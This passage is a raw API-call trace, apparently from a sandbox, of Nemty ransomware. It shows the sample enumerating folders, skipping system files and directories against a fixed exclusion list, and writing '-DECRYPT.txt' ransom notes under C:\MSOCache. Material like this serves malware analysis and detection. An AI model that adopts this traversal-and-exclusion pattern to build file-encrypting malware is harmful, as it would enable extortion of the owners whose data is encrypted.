lpString2="NTDETECT.COM") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntldr") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="MSDOS.SYS") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="IO.SYS") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="boot.ini") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="AUTOEXEC.BAT") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0048.581] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="desktop.ini") returned -1 [0048.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="CONFIG.SYS") returned -1 [0048.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="RECYCLER") returned -1 [0048.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="BOOTSECT.BAK") returned -1 [0048.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="bootmgr") returned -1 [0048.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="programdata") returned -1 [0048.582] lstrcmpiW (lpString1="_NEMTY_kGOBjgD_-DECRYPT.txt", lpString2="appdata") returned -1 [0048.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0048.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0048.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ed58, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0048.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.582] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="_NEMTY_kGOBjgD_-DECRYPT.txt", cchWideChar=27, lpMultiByteStr=0x4f9ece0, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_NEMTY_kGOBjgD_-DECRYPT.txt", lpUsedDefaultChar=0x0) returned 27 [0048.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.582] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x4f94240 [0048.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.582] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.582] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd0975d10, ftCreationTime.dwHighDateTime=0x1d561e7, ftLastAccessTime.dwLowDateTime=0xd0975d10, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0975d10, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 0 [0048.583] FindClose (in: hFindFile=0x3423930 | out: hFindFile=0x3423930) returned 1 [0048.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.583] FindNextFileW (in: hFindFile=0x3423970, lpFindFileData=0x653f688 | out: lpFindFileData=0x653f688*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8729610, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8729610, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344a1e0, dwReserved1=0x0, cFileName="{90140000-0115-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~1")) returned 1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2=".") returned 1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="..") returned 1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="...") returned 1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="windows") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="$RECYCLE.BIN") returned 1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="rsa") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="NTDETECT.COM") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="ntldr") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="MSDOS.SYS") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="IO.SYS") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="boot.ini") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="AUTOEXEC.BAT") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="ntuser.dat") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="desktop.ini") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="CONFIG.SYS") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="RECYCLER") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="BOOTSECT.BAK") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="bootmgr") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="programdata") returned -1 [0048.583] lstrcmpiW (lpString1="{90140000-0115-0409-1000-0000000FF1CE}-C", lpString2="appdata") returned -1 [0048.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f916e8 [0048.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0115-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.583] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0115-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0115-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.583] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.583] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x60) returned 0x4f91590 [0048.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0115-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0048.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0048.584] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="{90140000-0115-0409-1000-0000000FF1CE}-C", cchWideChar=40, lpMultiByteStr=0x6345608, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{90140000-0115-0409-1000-0000000FF1CE}-C", lpUsedDefaultChar=0x0) returned 40 [0048.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0048.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91590 | out: hHeap=0x4f90000) returned 1 [0048.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f916e8 | out: hHeap=0x4f90000) returned 1 [0048.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f91590 [0048.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0048.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0048.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.584] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94110 [0048.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.584] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f941b8 [0048.584] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94110 | out: hHeap=0x4f90000) returned 1 [0048.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.586] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941b8 | out: hHeap=0x4f90000) returned 1 [0048.586] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.586] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f540, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f540*=0xef8, lpOverlapped=0x0) returned 1 [0048.587] CloseHandle (hObject=0x3c4) returned 1 [0048.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.587] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94088 | out: hHeap=0x4f90000) returned 1 [0048.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94088 [0048.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94110 [0048.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94198 [0048.587] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.587] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.588] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94220 [0048.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.588] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x4f942c8 [0048.588] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94220 | out: hHeap=0x4f90000) returned 1 [0048.588] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c4 [0048.589] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0048.589] SetFilePointer (in: hFile=0x3c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.589] WriteFile (in: hFile=0x3c4, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0048.589] CloseHandle (hObject=0x3c4) returned 1 [0048.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.590] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.590] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0048.590] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0a806b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0a806b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423930 [0048.590] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0048.590] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b68970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd0a806b0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xd0a806b0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0048.590] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0048.590] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0048.590] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe8691090, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe8691090, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8691090, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="1033", cAlternateFileName="")) returned 1 [0048.590] lstrcmpiW (lpString1="1033", lpString2=".") returned 1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="..") returned 1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="...") returned 1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="$RECYCLE.BIN") returned 1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="rsa") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="NTDETECT.COM") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="ntldr") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="MSDOS.SYS") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="IO.SYS") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="boot.ini") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="boot.ini") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="AUTOEXEC.BAT") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="desktop.ini") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="CONFIG.SYS") returned -1 [0048.590] lstrcmpiW (lpString1="1033", lpString2="RECYCLER") returned -1 [0048.591] lstrcmpiW (lpString1="1033", lpString2="BOOTSECT.BAK") returned -1 [0048.591] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1 [0048.591] lstrcmpiW (lpString1="1033", lpString2="programdata") returned -1 [0048.591] lstrcmpiW (lpString1="1033", lpString2="appdata") returned -1 [0048.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0048.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x653f250, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1033", lpUsedDefaultChar=0x0) returned 4 [0048.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0048.591] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1033", cchWideChar=4, lpMultiByteStr=0x653f250, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1033", lpUsedDefaultChar=0x0) returned 4 [0048.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94230 [0048.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0048.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.591] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f942c8 [0048.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.591] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0048.591] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942c8 | out: hHeap=0x4f90000) returned 1 [0048.591] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\1033\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\1033\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.592] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.592] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.592] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653f200, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f200*=0xef8, lpOverlapped=0x0) returned 1 [0048.593] CloseHandle (hObject=0x3c8) returned 1 [0048.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.596] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94198 [0048.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f942c8 [0048.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x4f94360 [0048.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x6346d48 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.596] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: 